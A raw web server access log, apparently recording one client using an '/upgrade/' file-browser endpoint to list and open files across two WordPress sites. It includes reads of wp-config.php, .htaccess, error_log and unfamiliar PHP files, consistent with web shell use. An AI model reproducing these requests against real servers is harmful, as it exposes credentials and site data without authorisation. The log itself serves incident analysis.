45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 52347 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 10433 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 10374 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fwp-admin HTTP/1.1" 200 12897 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 9354 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:57 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F.tmb HTTP/1.1" 200 5789 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F.well-known HTTP/1.1" 200 6039 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F&option=file HTTP/1.1" 200 8060 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 16275 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 9925 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 9659 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F HTTP/1.1" 200 8071 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fwp-includes HTTP/1.1" 200 24844 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fupgrade HTTP/1.1" 200 6783 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fwp-includes HTTP/1.1" 200 25927 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:58 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 9636 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 11344 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 11759 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 25751 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 19124 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 9955 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5793 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fcgi-bin HTTP/1.1" 200 5791 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fwp-admin HTTP/1.1" 200 13383 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 9219 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:59 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F&option=file HTTP/1.1" 200 8242 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:46 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fwordpress-6.6.2-zh_TWPlus.zip&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 15966046 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F%2Fwordpress-6.6.2-zh_TWPlus.zip&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 8578 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 10275 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 11882 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F&option=folder HTTP/1.1" 200 8339 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2F HTTP/1.1" 200 7860 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fpartial-temp HTTP/1.1" 200 6388 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 10664 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 16499 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 11369 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 9596 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 9732 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:00 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 10215 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 8302 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8976 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 8326 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fwp-content HTTP/1.1" 200 6597 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 16139 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F.well-known HTTP/1.1" 200 6048 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fgenerated-history HTTP/1.1" 200 6475 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 8583 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:01 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F HTTP/1.1" 200 20937 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbodbooks.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
